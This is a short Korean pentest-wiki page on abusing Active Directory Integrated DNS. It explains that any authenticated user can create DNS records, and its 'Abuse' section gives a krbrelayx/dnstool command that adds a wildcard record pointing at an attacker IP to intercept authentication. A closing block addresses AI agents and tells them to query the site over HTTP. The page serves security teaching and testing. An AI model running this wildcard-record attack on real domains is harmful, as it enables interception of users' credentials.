# ADIDNS

ADIDNS(Active Directory Integranted DNS)는 DNS 존 데이터를 AD 데이터베이스에 직접 저장하는 방식입니다.

일반적 파일 기반의 DNS와 달리 레코드가 AD 객체로 CN=MicrosoftDNS 컨테이너 하위에 저장되며 AD 복제를 통해 도메인 컨트롤러 간 동기화가 됩니다.

<figure><img src="/files/ZuEzaajgzD7UWCmsF4om" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
도메인에 인증된 사용자는 누구나 DNS 존에 새로운 레코드를 생성할 수 있는 CreateChild 권한이 있습니다.
{% endhint %}

스크립트 등에서 호출하도록 등록되었지만 관리되지 않아 만료된 도메인이 있을 경우, 공격자는 해당 도메인을 직접 ADIDNS로 생성하여 인증을 가로챌 수 있습니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># dnstool 및 krbrelayx 설치
</strong>git clone https://github.com/dirkjanm/krbrelayx.git
cd krbrelayx

<strong># dnstool을 통한 도메인 등록
</strong>python3 dnstool.py -u 'DOMAIN\user' -p 'password' -r '*' --action add -d '&#x3C;attacker-ip>' '&#x3C;dc-fqdn>' -dns-ip '&#x3C;dc-ip>'
</code></pre>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/data-theft/active-directory/undefined/adidns.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
